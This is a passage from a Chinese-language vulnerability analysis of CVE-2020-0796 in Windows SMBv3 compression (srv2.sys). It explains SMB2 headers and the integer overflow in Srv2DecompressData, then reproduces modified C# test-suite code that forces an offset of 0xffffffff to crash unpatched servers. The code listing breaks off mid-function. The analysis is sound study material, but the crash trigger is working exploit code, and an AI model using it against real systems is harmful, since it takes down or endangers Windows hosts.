SMB协议漏洞分析
2021-01-19 19:02:13 Author: xz.aliyun.com(查看原文) 阅读量:278 收藏

最近看了一些关于SMB的分析文章,准备总结一下,主要介绍SMB协议在前段时间出的CVE-2020-0796相关漏洞。下面简单介绍一下SMB的相关知识。

SMB协议参考官方文档给的说明,大致作用如下,SMB版本1.0协议实现必须实现CIFS协议,而CIFS再往下就可以由TCP实现,大部分功能是文件系统的功能,端口在445端口,具体内容可以参考文档协议示例部分

客户端系统使用通用网络文件系统(CIFS)协议通过网络从服务器系统请求文件和打印服务。SMB则是对此协议的扩展,提供了附加的安全性,文件和磁盘管理支持。这些扩展不会改变CIFS协议的基本消息顺序,但会引入新的标志,扩展的请求和响应以及新的信息级别。

之前爆出的SMB漏洞主要是在SMB2之后的版本,SMB协议版本2和3,它们支持在机器之间共享文件和打印资源,并扩展了SMB1。Windows上对应的模块是 srv2.sys

SMB2数据包格式与SMB1完全不同。其所有功能参考官方文档里面 1.3 Overview 部分,连接顺序大致如下

  • 客户端建立与服务器的连接
  • 在该连接上建立经过身份验证的上下文
  • 发出各种请求来访问文件,打印机和命名管道以进行进程间通信。

前置知识

这个漏洞出在SMB2的压缩功能,要使用这个功能首先需要建立基本连接,要建立基本连接首先需要知道这个包是怎么构造出来的,在协议2.1部分说明了包头是如何组成的,协议支持几种传输方式,这里直接按照包格式选用Direct TCP头即可

其中第三个字段是SMB2Message,也就是SMB2的消息,这个消息也有一个头结构,在文档[MS-SMB2]的2.2.1部分可以找到,分为同步和异步两种头,拿异步头结构来举例,结构如下

字段长度如下所示,各个字段的意义有点多这里就不贴出来了,可以参考官方文档,非常详细

ProtocolId                        (4 bytes)
StructureSize                     (2 bytes)
CreditCharge                      (2 bytes)
(ChannelSequence/Reserved)/Status (4 bytes)
ChannelSequence                   (2 bytes)
Reserved                          (2 bytes)
Status                            (4 bytes)
Command                           (2 bytes)
CreditRequest/CreditResons        (2 bytes)
Flags                             (4 bytes)
NextCommand                       (4 bytes)
MessageId                         (8 bytes)
AsyncId                           (8 bytes)
SessionId                         (8 bytes)
Signature                         (16 bytes)

有了上面的基础,构造这个SMB2协议包就很简单了,包层次结构如下

Direct TCP header -> SMB2 header -> SMB data

下面需要解决连接顺序,官方文档中可以知道,这个协议初始化阶段有几种类型的包,如下图,图自这里

图中的包在文档里都有对应的结构,感兴趣的朋友可以对应文档看看。

漏洞分析

前面提到过这个漏洞存在于srv2.sys的压缩功能,涉及到的包结构如下,对应文档2.2.42 SMB2 COMPRESSION_TRANSFORM_HEADER,结合压缩包这个名字,来看理解一下各个字段的含义,第一个字段ProtocolId固定不变,第二个字段指定原始未压缩数据大小,也就是这块数据有压缩的也有不压缩的,这里是指定不压缩的大小,第三个字段指定压缩算法,第四个为一个标志,不同的标志影响第五个参数的意义,第五个参数这里只用到offset的意义,表示数据包中压缩数据相对于当前结构的偏移。

借用看雪论坛一位师傅画的图片,非常清晰,结构如下

下面看一下漏洞函数,涉及的函数是Srv2DecompressData,根据名字可以猜测到,此函数负责解压上面结构的数据,其中会调用到SmbCompressionDecompress函数负责解压数据,而在这之前会调用SrvNetAllocateBuffer函数负责申请内存,然而这个函数的参数并没有检查是否溢出,这个函数的参数刚好是original size + Offset的大小,完全由用户控制,溢出就会申请很小的内存,然而实际后面解压操作的内存比申请的大很多,导致了漏洞的产生。

__int64 __fastcall Srv2DecompressData(__int64 a1)
{
  __int64 v2; // rax
  __m128i v3; // xmm0
  unsigned int Algorithm; // ebp
  __int64 v7; // rbx MAPDST
  int v8; // eax
  __m128i Size; // [rsp+30h] [rbp-28h]
  int v10; // [rsp+60h] [rbp+8h] BYREF

  v10 = 0;
  v2 = *(_QWORD *)(a1 + 240);
  if ( *(_DWORD *)(v2 + 36) < 0x10u )
    return 0xC000090Bi64;
  Size = *(__m128i *)*(_QWORD *)(v2 + 24);
  v3 = _mm_srli_si128(Size, 8);                 // 4 bytes + 4 bytes
                                                // offset + compression algorithm
  Algorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
  if ( Algorithm != v3.m128i_u16[0] )
    return 0xC00000BBi64;
  v7 = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v3.m128i_i32[1]), 0i64);// original size + Offset
  if ( !v7 )
    return 0xC000009Ai64;
  if ( (int)SmbCompressionDecompress(
              Algorithm,
              *(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + Size.m128i_u32[3] + 0x10i64,
              (unsigned int)(*(_DWORD *)(*(_QWORD *)(a1 + 240) + 36i64) - Size.m128i_i32[3] - 0x10),
              Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18),
              Size.m128i_i32[1],
              &v10) < 0
    || (v8 = v10, v10 != Size.m128i_i32[1]) )
  {
    SrvNetFreeBuffer(v7);
    return 0xC000090Bi64;
  }
  if ( Size.m128i_i32[3] )
  {
    memmove(
      *(void **)(v7 + 0x18),
      (const void *)(*(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + 0x10i64),
      Size.m128i_u32[3]);                       // Offset
    v8 = v10;
  }
  *(_DWORD *)(v7 + 36) = Size.m128i_i32[3] + v8;
  Srv2ReplaceReceiveBuffer(a1, v7);
  return 0i64;
}

漏洞利用

有几种方式构造,Python最为方便,我测试的时候C#、C、Python都试过,其中C#最为复杂,不过也最为官方,使用的是微软提供的一套协议测试框架,不过zecops已经有人写好了,在这里可以找到,其模板参考synacktiv之前发的文章,改动了大致下面几个文件和内容,需要注意的是,在编译的时候需要安装指定.NET版本并提前编译好一些模块,然后导入才可以正常编译后续的exe

Smb2CompressedPacketed.cs    // 修改包类型
Smb2ClientTransport.cs       // 修改指定压缩算法
Smb2Compression.cs           // 修改压缩函数实现触发
Smb2CompressionForChained.cs // 删除此文件指定第五字段为offset

下面是synacktiv发出来的部分代码,直接写在了Smb2Compression.cs里面

// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{
  /// <summary>
    /// SMB2 Compression Utility.
    /// </summary>
    public static class Smb2Compression
    {
    private static uint i = 0;

    /// <summary>
    /// Compress SMB2 packet.
    /// </summary>
    /// <param name="packet">The SMB2 packet.</param>
    /// <param name="compressionInfo">Compression info.</param>
    /// <param name="role">SMB2 role.</param>
    /// <param name="offset">The offset where compression start, default zero.</param>
    /// <returns></returns>
    public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
    {
        var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);

        /*if (compressionAlgorithm == CompressionAlgorithm.NONE)
        {
            return packet;
        }*/

        // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
        if (i < 3)
        {
            i++;
            return packet;
        }

        var packetBytes = packet.ToBytes();

        var compressor = GetCompressor(compressionAlgorithm);

        // HACK: Insane length to trigger the integrer overflow
        offset = 0xffffffff;

        var compressedPacket = new Smb2CompressedPacket();
        compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
        compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
        compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
        compressedPacket.Header.Reserved = 0;
        compressedPacket.Header.Offset = offset;
        compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
        compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());

        var compressedPackectBytes = compressedPacket.ToBytes();

        // HACK: force compressed packet to be sent
        return compressedPacket;

        // Check whether compression shrinks the on-wire packet size
        // if (compressedPackectBytes.Length < packetBytes.Length)
        // {
        //     compressedPacket.OriginalPacket = packet;
        //     return compressedPacket;
        // }
        // else
        // {
        //     return packet;
        // }
    }
  }
}

namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
  class Program
  {
    static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
    {
      Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
      client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };

      // NEGOTIATION is done in "plaintext", this is the call within UserLogon:
      //      client.Negotiate(
      //          0,
      //          1,
      //          Packet_Header_Flags_Values.NONE,
      //          messageId++,
      //          new DialectRevision[] { DialectRevision.Smb311 },
      //          SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
      //          Capabilities_Values.NONE, 
      //          clientGuid,
      //          out selectedDialect,
      //          out gssToken,
      //          out header,
      //          out negotiateResp,
      //          preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 },  // apprently mandatory for compression
      //          compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
      //      );
      if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
        return;

      // From now on, we compress every new packet
      client.CompressionInfo.CompressAllPackets = true;

      // Get tree information about a remote share (which does not exists)

文章来源: http://xz.aliyun.com/t/9029
如有侵权请联系:admin#unsafe.sh